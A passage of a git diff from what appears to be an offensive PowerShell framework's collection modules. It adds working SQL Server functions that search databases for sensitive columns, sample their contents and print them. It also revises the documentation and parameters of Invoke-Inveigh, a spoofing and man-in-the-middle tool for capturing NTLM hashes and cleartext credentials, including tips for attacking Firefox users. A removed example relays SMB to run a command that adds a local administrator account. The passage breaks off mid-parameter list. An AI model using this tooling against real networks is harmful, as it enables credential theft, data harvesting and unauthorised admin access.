from default databases.")] + [switch]$NoDefaults + ) + Begin { + $TblData = New-Object -TypeName System.Data.DataTable + $null = $TblData.Columns.Add('ComputerName') + $null = $TblData.Columns.Add('Instance') + $null = $TblData.Columns.Add('Database') + $null = $TblData.Columns.Add('Schema') + $null = $TblData.Columns.Add('Table') + $null = $TblData.Columns.Add('Column') + $null = $TblData.Columns.Add('Sample') + $null = $TblData.Columns.Add('RowCount') + if($ValidateCC) { $null = $TblData.Columns.Add('IsCC') } + } Process { + $ComputerName = Get-ComputerNameFromInstance -Instance $Instance + if(-not $Instance) { $Instance = $env:COMPUTERNAME } + $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password | ? -FilterScript { $_.Status -eq 'Accessible' } + if(-not $TestConnection) { + "$Instance : CONNECTION FAILED" + Return + } else { + "$Instance : START SEARCH DATA BY COLUMN " + "$Instance : - Connection Success. " + "$Instance : - Searching for column names that match criteria... " + if($NoDefaults) { + $Columns = Get-SQLColumn -Instance $Instance -Username $Username -Password $Password -DatabaseName $DatabaseName -ColumnNameSearch $Keywords -NoDefaults + } else { + $Columns = Get-SQLColumn -Instance $Instance -Username $Username -Password $Password -DatabaseName $DatabaseName -ColumnNameSearch $Keywords + } + } + if($Columns) { + $Columns | % -Process { + Write-Verbose $_.DatabaseName + $sDatabaseName = $_.DatabaseName + $sSchemaName = $_.SchemaName + $sTableName = $_.TableName + $sColumnName = $_.ColumnName + $AffectedColumn = "[$sDatabaseName].[$sSchemaName].[$sTableName].[$sColumnName]" + $AffectedTable = "[$sDatabaseName].[$sSchemaName].[$sTableName]" + $Query = "USE $sDatabaseName; SELECT TOP $SampleSize [$sColumnName] FROM $AffectedTable WHERE [$sColumnName] is not null" + $QueryRowCount = "USE $sDatabaseName; SELECT count(CAST([$sColumnName] as VARCHAR(200))) as NumRows FROM $AffectedTable WHERE [$sColumnName] is not null" + + "$Instance : - Table match: $AffectedTable " + "$Instance : - Column match: $AffectedColumn " + "$Instance : - Selecting $SampleSize rows of data sample from column $AffectedColumn. " + + $RowCountOut = Get-SQLQuery -Instance $Instance -Username $Username -Password $Password -Query $QueryRowCount + $RowCount = $RowCountOut.NumRows + $SQLQuery = Get-SQLQuery -Instance $Instance -Username $Username -Password $Password -Query $Query + $SQLQuery.$sColumnName | % -Process { + $null = $TblData.Rows.Add($ComputerName, $Instance, $sDatabaseName, $sSchemaName, $sTableName, $sColumnName, $_, $RowCount) + } + } + } else { + "$Instance : - No columns were found that matched the search. " + } + "$Instance : END SEARCH DATA BY COLUMN " + } End { + ForEach ($Row in $TblData) { + "ComputerName : " + $Row.ComputerName + "Instance : " + $Row.Instance + "Database : " + $Row.Database + "Schema : " + $Row.Schema + "Table : " + $Row.Table + "Column : " + $Row.Column + "Sample : " + $Row.Sample + "RowCount : " + $Row.RowCount + "" + } + } +} \ No newline at end of file diff --git a/data/module_source/collection/Get-SQLQuery.ps1 b/data/module_source/collection/Get-SQLQuery.ps1 new file mode 100644 index 0000000..7b6f9eb --- /dev/null +++ b/data/module_source/collection/Get-SQLQuery.ps1 @@ -0,0 +1,113 @@ +Function Get-ComputerNameFromInstance { + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server instance.')] + [string]$Instance + ) + If ($Instance){$ComputerName = $Instance.split('\')[0].split(',')[0]} + else{$ComputerName = $env:COMPUTERNAME} + Return $ComputerName +} + +Function Get-SQLConnectionObject { + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + [Parameter(Mandatory = $false, + HelpMessage = 'Dedicated Administrator Connection (DAC).')] + [Switch]$DAC, + [Parameter(Mandatory = $false, + HelpMessage = 'Default database to connect to.')] + [String]$Database, + [Parameter(Mandatory = $false, + HelpMessage = 'Connection timeout.')] + [string]$TimeOut = 1 + ) + Begin { + if($DAC){$DacConn = 'ADMIN:'}else{$DacConn = ''} + if(-not $Database){$Database = 'Master'} + } Process { + if (-not $Instance) { + $Instance = $env:COMPUTERNAME + } + $Connection = New-Object -TypeName System.Data.SqlClient.SqlConnection + if(-not $Username) { + $AuthenticationType = "Current Windows Credentials" + $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;Connection Timeout=1" + } + if ($username -like "*\*") { + $AuthenticationType = "Provided Windows Credentials" + $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;uid=$Username;pwd=$Password;Connection Timeout=$TimeOut" + } + if (($username) -and ($username -notlike "*\*")) { + $AuthenticationType = "Provided SQL Login" + $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;User ID=$Username;Password=$Password;Connection Timeout=$TimeOut" + } + return $Connection + } End { + } +} + +Function Get-SQLQuery { + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server query.')] + [string]$Query, + [Parameter(Mandatory = $false, + HelpMessage = 'Connect using Dedicated Admin Connection.')] + [Switch]$DAC, + [Parameter(Mandatory = $false, + HelpMessage = 'Default database to connect to.')] + [String]$Database, + [Parameter(Mandatory = $false, + HelpMessage = 'Connection timeout.')] + [int]$TimeOut, + [Parameter(Mandatory = $false, + HelpMessage = 'Return error message if exists.')] + [switch]$ReturnError + ) + Begin { + $TblQueryResults = New-Object -TypeName System.Data.DataTable + } Process { + if($DAC){$Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -TimeOut $TimeOut -DAC -Database $Database} + else{$Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -TimeOut $TimeOut -Database $Database} + $ConnectionString = $Connection.Connectionstring + $Instance = $ConnectionString.split(';')[0].split('=')[1] + if($Query) { + $Connection.Open() + "$Instance : Connection Success." + $Command = New-Object -TypeName System.Data.SqlClient.SqlCommand -ArgumentList ($Query, $Connection) + try { + $Results = $Command.ExecuteReader() + $TblQueryResults.Load($Results) + } catch { + # pass + } + $Connection.Close() + $Connection.Dispose() + } + else{'No query provided to Get-SQLQuery function.';Break} + } End { + if($ReturnError){$ErrorMessage} + else{$TblQueryResults.Column1} + } +} diff --git a/data/module_source/collection/Invoke-Inveigh.ps1 b/data/module_source/collection/Invoke-Inveigh.ps1 index 9f785b3..158ed67 100644 --- a/data/module_source/collection/Invoke-Inveigh.ps1 +++ b/data/module_source/collection/Invoke-Inveigh.ps1 @@ -2,196 +2,282 @@ function Invoke-Inveigh { <# .SYNOPSIS -Invoke-Inveigh is a Windows PowerShell LLMNR/NBNS spoofer with challenge/response capture over HTTP/HTTPS/SMB. +Invoke-Inveigh is a Windows PowerShell LLMNR/mDNS/NBNS spoofer/man-in-the-middle tool with challenge/response +capture over HTTP/HTTPS/Proxy/SMB. .DESCRIPTION -Invoke-Inveigh is a Windows PowerShell LLMNR/NBNS spoofer with the following features: +Invoke-Inveigh is a Windows PowerShell LLMNR/mDNS/NBNS spooferman-in-the-middle tool with the following features: - IPv4 LLMNR/NBNS spoofer with granular control - NTLMv1/NTLMv2 challenge/response capture over HTTP/HTTPS/SMB - Basic auth cleartext credential capture over HTTP/HTTPS + IPv4 LLMNR/mDNS/NBNS spoofer with granular control + NTLMv1/NTLMv2 challenge/response capture over HTTP/HTTPS/Proxy/SMB + Basic auth cleartext credential capture over HTTP/HTTPS/Proxy WPAD server capable of hosting a basic or custom wpad.dat file - HTTP/HTTPS server capable of hosting limited content + HTTP/HTTPS/Proxy server capable of hosting limited content Granular control of console and file output - Run time control - -.PARAMETER IP -Specify a specific local IP address for listening. This IP address will also be used for LLMNR/NBNS spoofing if -the SpooferIP parameter is not set. - -.PARAMETER SpooferIP -Specify an IP address for LLMNR/NBNS spoofing. This parameter is only necessary when redirecting victims to a -system other than the Inveigh host. - -.PARAMETER SpooferHostsReply -Default = All: Comma separated list of requested hostnames to respond to when spoofing with LLMNR and NBNS. - -.PARAMETER SpooferHostsIgnore -Default = All: Comma separated list of requested hostnames to ignore when spoofing with LLMNR and NBNS. - -.PARAMETER SpooferIPsReply -Default = All: Comma separated list of source IP addresses to respond to when spoofing with LLMNR and NBNS. - -.PARAMETER SpooferIPsIgnore -Default = All: Comma separated list of source IP addresses to ignore when spoofing with LLMNR and NBNS. - -.PARAMETER SpooferRepeat -Default = Enabled: (Y/N) Enable/Disable repeated LLMNR/NBNS spoofs to a victim system after one user -challenge/response has been captured. - -.PARAMETER LLMNR -Default = Enabled: (Y/N) Enable/Disable LLMNR spoofing. - -.PARAMETER LLMNRTTL -Default = 30 Seconds: Specify a custom LLMNR TTL in seconds for the response packet. - -.PARAMETER NBNS -Default = Disabled: (Y/N) Enable/Disable NBNS spoofing. - -.PARAMETER NBNSTTL -Default = 165 Seconds: Specify a custom NBNS TTL in seconds for the response packet. - -.PARAMETER NBNSTypes -Default = 00,20: Comma separated list of NBNS types to spoof. -Types include 00 = Workstation Service, 03 = Messenger Service, 20 = Server Service, 1B = Domain Name - -.PARAMETER HTTP -Default = Enabled: (Y/N) Enable/Disable HTTP challenge/response capture. - -.PARAMETER HTTPS -Default = Disabled: (Y/N) Enable/Disable HTTPS challenge/response capture. Warning, a cert will be installed in -the local store and attached to port 443. If the script does not exit gracefully, execute -"netsh http delete sslcert ipport=0.0.0.0:443" and manually remove the certificate from "Local Computer\Personal" -in the cert store. - -.PARAMETER HTTPAuth -Default = NTLM: (Anonymous,Basic,NTLM) Specify the HTTP/HTTPS server authentication type. This setting does not -apply to wpad.dat requests. - -.PARAMETER HTTPBasicRealm -Specify a realm name for Basic authentication. This parameter applies to both HTTPAuth and WPADAuth. - -.PARAMETER HTTPDir -Specify a full directory path to enable hosting of basic content through the HTTP/HTTPS listener. - -.PARAMETER HTTPDefaultFile -Specify a filename within the HTTPDir to serve as the default HTTP/HTTPS response file. This file will not be used -for wpad.dat requests. - -.PARAMETER HTTPDefaultEXE -Specify an EXE filename within the HTTPDir to serve as the default HTTP/HTTPS response for EXE requests. - -.PARAMETER HTTPResponse -Specify a string or HTML to serve as the default HTTP/HTTPS response. This response will not be used for wpad.dat -requests. This parameter will not be used if HTTPDir is set. Use PowerShell character escapes where necessary. - -.PARAMETER HTTPSCertAppID -Specify a valid application GUID for use with the ceriticate. - -.PARAMETER HTTPSCertThumbprint -Specify a certificate thumbprint for use with a custom certificate. The certificate filename must be located in -the current working directory and named Inveigh.pfx. - -.PARAMETER WPADAuth -Default = NTLM: (Anonymous,Basic,NTLM) Specify the HTTP/HTTPS server authentication type for wpad.dat requests. -Setting to Anonymous can prevent browser login prompts. - -.PARAMETER WPADEmptyFile -Default = Enabled: (Y/N) Enable/Disable serving a proxyless, all direct, wpad.dat file for wpad.dat requests. -Enabling this setting can reduce the amount of redundant wpad.dat requests. This parameter is ignored when -using WPADIP, WPADPort, or WPADResponse. - -.PARAMETER WPADIP -Specify a proxy server IP to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter -must be used with WPADPort. - -.PARAMETER WPADPort -Specify a proxy server port to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter -must be used with WPADIP. - -.PARAMETER WPADDirectHosts -Comma separated list of hosts to list as direct in the wpad.dat file. Listed hosts will not be routed through the -defined proxy. - -.PARAMETER WPADResponse -Specify wpad.dat file contents to serve as the wpad.dat response. This parameter will not be used if WPADIP and -WPADPort are set. Use PowerShell character escapes where necessary. - -.PARAMETER SMB -Default = Enabled: (Y/N) Enable/Disable SMB challenge/response capture. Warning, LLMNR/NBNS spoofing can still -direct targets to the host system's SMB server. Block TCP ports 445/139 or kill the SMB services if you need to -prevent login requests from being processed by the Inveigh host. + Run time and run count control + LLMNR/NBNS spoofer learning mode .PARAMETER Challenge -Default = Random: Specify a 16 character hex NTLM challenge for use with the HTTP listener. If left blank, a -random challenge will be generated for each request. This will only be used for non-relay captures. - -.PARAMETER MachineAccounts -Default = Disabled: (Y/N) Enable/Disable showing NTLM challenge/response captures from machine accounts. - -.PARAMETER SMBRelay -Default = Disabled: (Y/N) Enable/Disable SMB relay. Note that Inveigh-Relay.ps1 must be loaded into memory. - -.PARAMETER SMBRelayTarget -IP address of system to target for SMB relay. - -.PARAMETER SMBRelayCommand -Command to execute on SMB relay target. - -.PARAMETER SMBRelayUsernames -Default = All Usernames: Comma separated list of usernames to use for relay attacks. Accepts both username and -domain\username format. - -.PARAMETER SMBRelayAutoDisable -Default = Enable: (Y/N) Automaticaly disable SMB relay after a successful command execution on target. - -.PARAMETER SMBRelayNetworkTimeout -Default = No Timeout: (Integer) Set the duration in seconds that Inveigh will wait for a reply from the SMB relay - target after each packet is sent. +Default = Random: 16 character hex NTLM challenge for use with the HTTP listener. If left blank, a random +challenge will be generated for each request. .PARAMETER ConsoleOutput -Default = Disabled: (Y/N) Enable/Disable real time console output. If using this option through a shell, test to -ensure that it doesn't hang the shell. +Default = Disabled: (Low/Medium/Y/N) Enable/Disable real time console output. If using this option through a +shell, test to ensure that it doesn't hang the shell. Medium and Low can be used to reduce output. + +.PARAMETER ConsoleQueueLimit +Default = Unlimited: Maximum number of queued up console log entries when not using the real time console. .PARAMETER ConsoleStatus -(Integer) Set interval in minutes for displaying all unique captured hashes and credentials. This is useful for +(Integer) Interval in minutes for displaying all unique captured hashes and credentials. This is useful for displaying full capture lists when running through a shell that does not have access to the support functions. .PARAMETER ConsoleUnique Default = Enabled: (Y/N) Enable/Disable displaying challenge/response hashes for only unique IP, domain/hostname, and username combinations when real time console output is enabled. +.PARAMETER ElevatedPrivilege +Default = Auto: (Auto/Y/N) Set the privilege mode. Auto will determine if Inveigh is running with +elevated privilege. If so, options that require elevated privilege can be used. + .PARAMETER FileOutput Default = Disabled: (Y/N) Enable/Disable real time file output. +.PARAMETER FileOutputDirectory +Default = Working Directory: Valid path to an output directory for log and capture files. FileOutput must +also be enabled. + .PARAMETER FileUnique Default = Enabled: (Y/N) Enable/Disable outputting challenge/response hashes for only unique IP, domain/hostname, and username combinations when real time file output is enabled. -.PARAMETER StatusOutput -Default = Enabled: (Y/N) Enable/Disable startup and shutdown messages. +.PARAMETER HTTP +Default = Enabled: (Y/N) Enable/Disable HTTP challenge/response capture. + +.PARAMETER HTTPIP +Default = Any: IP address for the HTTP/HTTPS listener. + +.PARAMETER HTTPPort +Default = 80: TCP port for the HTTP listener. + +.PARAMETER HTTPAuth +Default = NTLM: (Anonymous/Basic/NTLM/NTLMNoESS) HTTP/HTTPS listener authentication type. This setting does not +apply to wpad.dat requests. NTLMNoESS turns off the 'Extended Session Security' flag during negotiation. + +.PARAMETER HTTPBasicRealm +Realm name for Basic authentication. This parameter applies to both HTTPAuth and WPADAuth. + +.PARAMETER HTTPContentType +Default = text/html: Content type for HTTP/HTTPS/Proxy responses. Does not apply to EXEs and wpad.dat. Set to +"application/hta" for HTA files or when using HTA code with HTTPResponse. + +.PARAMETER HTTPDir +Full directory path to enable hosting of basic content through the HTTP/HTTPS listener. + +.PARAMETER HTTPDefaultFile +Filename within the HTTPDir to serve as the default HTTP/HTTPS/Proxy response file. This file will not be used for +wpad.dat requests. + +.PARAMETER HTTPDefaultEXE +EXE filename within the HTTPDir to serve as the default HTTP/HTTPS/Proxy response for EXE requests. + +.PARAMETER HTTPResetDelay +Default = Firefox: Comma separated list of keywords to use for filtering browser user agents. Matching browsers +will have a delay before their connections are reset when Inveigh doesn't receive data. This can increase the +chance of capturing authentication through a popup box with some browsers (Firefox). + +.PARAMETER HTTPResetDelayTimeout +Default = 30 Seconds: HTTPResetDelay timeout in seconds. + +.PARAMETER HTTPResponse +Content to serve as the default HTTP/HTTPS/Proxy response. This response will not be used for wpad.dat requests. +This parameter will not be used if HTTPDir is set. Use PowerShell character escapes and newlines where necessary. + +.PARAMETER HTTPS +Default = Disabled: (Y/N) Enable/Disable HTTPS challenge/response capture. Warning, a cert will be installed in +the local store. If the script does not exit gracefully, manually remove the certificate. This feature requires +local administrator access. + +.PARAMETER HTTPSPort +Default = 443: TCP port for the HTTPS listener. + +.PARAMETER HTTPSCertIssuer +Default = Inveigh: The issuer field for the cert that will be installed for HTTPS. + +.PARAMETER HTTPSCertSubject +Default = localhost: The subject field for the cert that will be installed for HTTPS. + +.PARAMETER HTTPSForceCertDelete +Default = Disabled: (Y/N) Force deletion of an existing certificate that matches HTTPSCertIssuer and +HTTPSCertSubject. + +.PARAMETER Inspect +(Switch) Inspect LLMNR/mDNS/NBNS traffic only. With elevated privilege, SMB must be disabled with -smb if you do +not want NTLMv1/NTLMv2 captures over SMB. Without elevated privilege, the desired inspect listeners must be +enabled. + +.PARAMETER IP +Local IP address for listening and packet sniffing. This IP address will also be used for LLMNR/mDNS/NBNS spoofing +if the SpooferIP parameter is not set. + +.PARAMETER LogOutput +Default = Enabled: (Y/N) Enable/Disable storing log messages in memory. + +.PARAMETER LLMNR +Default = Enabled: (Y/N) Enable/Disable LLMNR spoofing. + +.PARAMETER LLMNRTTL +Default = 30 Seconds: LLMNR TTL in seconds for the response packet. + +.PARAMETER MachineAccounts +Default = Disabled: (Y/N) Enable/Disable showing NTLM challenge/response captures from machine accounts. + +.PARAMETER mDNS +Default = Disabled: (Y/N) Enable/Disable mDNS spoofing. + +.PARAMETER mDNSTTL +Default = 120 Seconds: mDNS TTL in seconds for the response packet. + +.PARAMETER mDNSTypes +Default = QU: Comma separated list of mDNS types to spoof. Note that QM will send the response to 224.0.0.251. +Types include QU = Query Unicast, QM = Query Multicast + +.PARAMETER NBNS +Default = Disabled: (Y/N) Enable/Disable NBNS spoofing. + +.PARAMETER NBNSBruteForce +Default = Disabled: (Y/N) Enable/Disable NBNS brute force spoofer. + +.PARAMETER NBNSBruteForceHost +Default = WPAD: Hostname for the NBNS Brute Force spoofer. + +.PARAMETER NBNSBruteForcePause +Default = Disabled: (Integer) Number of seconds the NBNS brute force spoofer will stop spoofing after an incoming +HTTP request is received. + +.PARAMETER NBNSBruteForceTarget +IP address to target for NBNS brute force spoofing. + +.PARAMETER NBNSTTL +Default = 165 Seconds: NBNS TTL in seconds for the response packet. + +.PARAMETER NBNSTypes +Default = 00,20: Comma separated list of NBNS types to spoof. +Types include 00 = Workstation Service, 03 = Messenger Service, 20 = Server Service, 1B = Domain Name .PARAMETER OutputStreamOnly Default = Disabled: (Y/N) Enable/Disable forcing all output to the standard output stream. This can be helpful if running Inveigh through a shell that does not return other output streams.Note that you will not see the various yellow warning messages if enabled. -.PARAMETER OutputDir -Default = Working Directory: Set a valid path to an output directory for log and capture files. FileOutput must -also be enabled. +.PARAMETER Proxy +Default = Disabled: (Y/N) Enable/Disable proxy listener authentication captures. -.PARAMETER RunTime -(Integer) Set the run time duration in minutes. +.PARAMETER ProxyAuth +Default = NTLM: (Basic/NTLM/NTLMNoESS) Proxy listener authentication type. + +.PARAMETER ProxyIP +Default = Any: IP address for the proxy listener. + +.PARAMETER ProxyPort +Default = 8492: TCP port for the proxy listener. + +.PARAMETER ProxyIgnore +Default = Firefox: Comma separated list of keywords to use for filtering browser user agents. Matching browsers +will not be sent the wpad.dat file used for capturing proxy authentications. Firefox does not work correctly +with the proxy server failover setup. Firefox will be left unable to connect to any sites until the proxy is +cleared. Remove "Firefox" from this list to attack Firefox. If attacking Firefox, consider setting +-SpooferRepeat N to limit attacks against a single target so that victims can recover Firefox connectivity by +closing and reopening. .PARAMETER ShowHelp Default = Enabled: (Y/N) Enable/Disable the help messages at startup. -.PARAMETER Inspect -(Switch) Disable LLMNR, NBNS, HTTP, HTTPS, and SMB in order to only inspect LLMNR/NBNS traffic. +.PARAMETER SMB +Default = Enabled: (Y/N) Enable/Disable SMB challenge/response capture. Warning, LLMNR/NBNS spoofing can still +direct targets to the host system's SMB server. Block TCP ports 445/139 or kill the SMB services if you need to +prevent login requests from being processed by the Inveigh host. + +.PARAMETER SpooferHostsIgnore +Default = All: Comma separated list of requested hostnames to ignore when spoofing with LLMNR/mDNS/NBNS. + +.PARAMETER SpooferHostsReply +Default = All: Comma separated list of requested hostnames to respond to when spoofing with LLMNR/mDNS/NBNS. + +.PARAMETER SpooferIP +IP address for LLMNR/mDNS/NBNS spoofing. This parameter is only necessary when redirecting victims to a system +other than the Inveigh host. + +.PARAMETER SpooferIPsIgnore +Default = All: Comma separated list of source IP addresses to ignore when spoofing with LLMNR/mDNS/NBNS. + +.PARAMETER SpooferIPsReply +Default = All: Comma separated list of source IP addresses to respond to when spoofing with LLMNR/mDNS/NBNS. + +.PARAMETER SpooferLearning +Default = Disabled: (Y/N) Enable/Disable LLMNR/NBNS valid host learning. If enabled, Inveigh will send out +LLMNR/NBNS requests for any received LLMNR/NBNS requests. If a response is received, Inveigh will add the +hostname to a spoofing blacklist. + +.PARAMETER SpooferLearningDelay +(Integer) Time in minutes that Inveigh will delay spoofing while valid hosts are being blacklisted through +SpooferLearning. + +.PARAMETER SpooferLearningInterval +Default = 30 Minutes: (Integer) Time in minutes that Inveigh wait before sending out an LLMNR/NBNS request for a +hostname that has already been checked if SpooferLearning is enabled. + +.PARAMETER SpooferRepeat +Default = Enabled: (Y/N) Enable/Disable repeated LLMNR/NBNS spoofs to a victim system after one user +challenge/response has been captured. + +.PARAMETER StartupChecks +Default = Enabled: (Y/N) Enable/Disable checks for in use ports and running services on startup. + +.PARAMETER StatusOutput +Default = Enabled: (Y/N) Enable/Disable startup and shutdown messages. + +.PARAMETER RunCount +Default = Unlimited: (Integer) Number of NTLMv1/NTLMv2/cleartext captures to perform before auto-exiting. + +.PARAMETER RunTime +(Integer) Run time duration in minutes. .PARAMETER Tool -Default = 0: (0,1,2) Enable/Disable features for better operation through external tools such as Metasploit's -Interactive Powershell Sessions and Empire. 0 = None, 1 = Metasploit, 2 = Empire +Default = 0: (0/1/2) Enable/Disable features for better operation through external tools such as Meterpreter's +PowerShell extension, Metasploit's Interactive PowerShell Sessions payloads and Empire. +0 = None, 1 = Metasploit/Meterpreter, 2 = Empire + +.PARAMETER WPADAuth +Default = NTLM: (Anonymous/Basic/NTLM/NTLMNoESS) HTTP/HTTPS listener authentication type for wpad.dat requests. +Setting to Anonymous can prevent browser login prompts. NTLMNoESS turns off the 'Extended Session Security' flag +during negotiation. + +.PARAMETER WPADAuthIgnore +Default = Firefox: Comma separated list of keywords to use for filtering browser user agents. Matching browsers +will be skipped for NTLM authentication. This can be used to filter out browsers like Firefox that display login +popups for authenticated wpad.dat requests such as Firefox. + +.PARAMETER WPADDirectFile +Default = Enabled: (Y/N) Enable/Disable serving a proxyless, all direct, wpad.dat file for wpad.dat requests. +Enabling this setting can reduce the amount of redundant wpad.dat requests. This parameter is ignored when +using WPADIP, WPADPort, or WPADResponse. + +.PARAMETER WPADDirectHosts +Comma separated list of hosts to list as direct in the wpad.dat file. Listed hosts will not be routed through the +defined proxy. + +.PARAMETER WPADIP +Proxy server IP to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used +with WPADPort. + +.PARAMETER WPADPort +Proxy server port to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be +used with WPADIP. + +.PARAMETER WPADResponse +wpad.dat file contents to serve as the wpad.dat response. This parameter will not be used if WPADIP and WPADPort +are set. Use PowerShell character escapes where necessary. .EXAMPLE Import-Module .\Inveigh.psd1;Invoke-Inveigh @@ -211,7 +297,7 @@ Execute with the stealthiest options. .EXAMPLE Invoke-Inveigh -Inspect -Execute with LLMNR, NBNS, SMB, HTTP, and HTTPS disabled in order to only inpect LLMNR/NBNS traffic. +Execute in order to only inpect LLMNR/mDNS/NBNS traffic. .EXAMPLE Invoke-Inveigh -IP 192.168.1.10 -SpooferIP 192.168.2.50 -HTTP N @@ -220,24 +306,7 @@ useful for sending traffic to a controlled Linux system on another subnet. .EXAMPLE Invoke-Inveigh -HTTPResponse "" -Execute specifying an HTTP redirect response. - -.EXAMPLE -Invoke-Inveigh -SMBRelay y -SMBRelayTarget 192.168.2.55 -SMBRelayCommand "net user Dave Spring2016 /add && net localgroup administrators Dave /add" -Execute with SMB relay enabled with a command that will create a local administrator account on the SMB relay -target. - -.NOTES -1. An elevated administrator or SYSTEM shell is needed. -2. Currently supports IPv4 LLMNR/NBNS spoofing and HTTP/HTTPS/SMB NTLMv1/NTLMv2 challenge/response capture. -3. LLMNR/NBNS spoofing is performed through sniffing and sending with raw sockets. -4. SMB challenge/response captures are performed by sniffing over the host system's SMB service. -5. HTTP challenge/response captures are performed with a dedicated listener. -6. The local LLMNR/NBNS services do not need to be disabled on the host system. -7. LLMNR/NBNS spoofer will point victims to host system's SMB service, keep account lockout scenarios in mind. -8. Kerberos should downgrade for SMB authentication due to spoofed hostnames not being valid in DNS. -9. Ensure that the LMMNR,NBNS,SMB,HTTP ports are open within any local firewall on the host system. -10. If you copy/paste challenge/response captures from output window for password cracking, remove carriage returns. +Execute specifying an HTTP redirect response. .LINK https://github.com/Kevin-Robertson/Inveigh @@ -247,63 +316,88 @@ https://github.com/Kevin-Robertson/Inveigh [CmdletBinding()] param ( - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$HTTP="Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$HTTPS="N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$SMB="Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$LLMNR="Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$NBNS="N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$SpooferRepeat="Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$ConsoleOutput="N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$ConsoleUnique="Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$FileOutput="N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$FileUnique="Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$StatusOutput="Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$OutputStreamOnly="N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$MachineAccounts="N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$ShowHelp="Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$SMBRelay="N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$SMBRelayAutoDisable="Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$WPADEmptyFile="Y", - [parameter(Mandatory=$false)][ValidateSet("0","1","2")][String]$Tool="0", - [parameter(Mandatory=$false)][ValidateSet("Anonymous","Basic","NTLM")][String]$HTTPAuth="NTLM", - [parameter(Mandatory=$false)][ValidateSet("Anonymous","Basic","NTLM")][String]$WPADAuth="NTLM", - [parameter(Mandatory=$false)][ValidateSet("00","03","20","1B","1C","1D","1E")][Array]$NBNSTypes=@("00","20"), - [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$IP="", - [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$SpooferIP="", - [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$WPADIP = "", - [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$SMBRelayTarget ="", - [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][String]$HTTPDir="", - [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][String]$OutputDir="", - [parameter(Mandatory=$false)][ValidatePattern('^[A-Fa-f0-9]{16}$')][String]$Challenge="", - [parameter(Mandatory=$false)][Array]$SpooferHostsReply="", - [parameter(Mandatory=$false)][Array]$SpooferHostsIgnore="", - [parameter(Mandatory=$false)][Array]$SpooferIPsReply="", - [parameter(Mandatory=$false)][Array]$SpooferIPsIgnore="", - [parameter(Mandatory=$false)][Array]$SMBRelayUsernames="", - [parameter(Mandatory=$false)][Array]$WPADDirectHosts="", - [parameter(Mandatory=$false)][Int]$ConsoleStatus="", - [parameter(Mandatory=$false)][Int]$LLMNRTTL="30", - [parameter(Mandatory=$false)][Int]$NBNSTTL="165", - [parameter(Mandatory=$false)][Int]$WPADPort="", - [parameter(Mandatory=$false)][Int]$RunTime="", - [parameter(Mandatory=$false)][Int]$SMBRelayNetworkTimeout="", - [parameter(Mandatory=$false)][String]$HTTPBasicRealm="IIS", - [parameter(Mandatory=$false)][String]$HTTPDefaultFile="", - [parameter(Mandatory=$false)][String]$HTTPDefaultEXE="", - [parameter(Mandatory=$false)][String]$HTTPResponse="", - [parameter(Mandatory=$false)][String]$HTTPSCertAppID="00112233-4455-6677-8899-AABBCCDDEEFF", - [parameter(Mandatory=$false)][String]$HTTPSCertThumbprint="98c1d54840c5c12ced710758b6ee56cc62fa1f0d", - [parameter(Mandatory=$false)][String]$WPADResponse="", - [parameter(Mandatory=$false)][String]$SMBRelayCommand="", + [parameter(Mandatory=$false)][Array]$HTTPResetDelay = "Firefox", + [parameter(Mandatory=$false)][Array]$ProxyIgnore = "Firefox", + [parameter(Mandatory=$false)][Array]$SpooferHostsReply = "", + [parameter(Mandatory=$false)][Array]$SpooferHostsIgnore = "", + [parameter(Mandatory=$false)][Array]$SpooferIPsReply = "", + [parameter(Mandatory=$false)][Array]$SpooferIPsIgnore = "", + [parameter(Mandatory=$false)][Array]$WPADDirectHosts = "", + [parameter(Mandatory=$false)][Array]$WPADAuthIgnore = 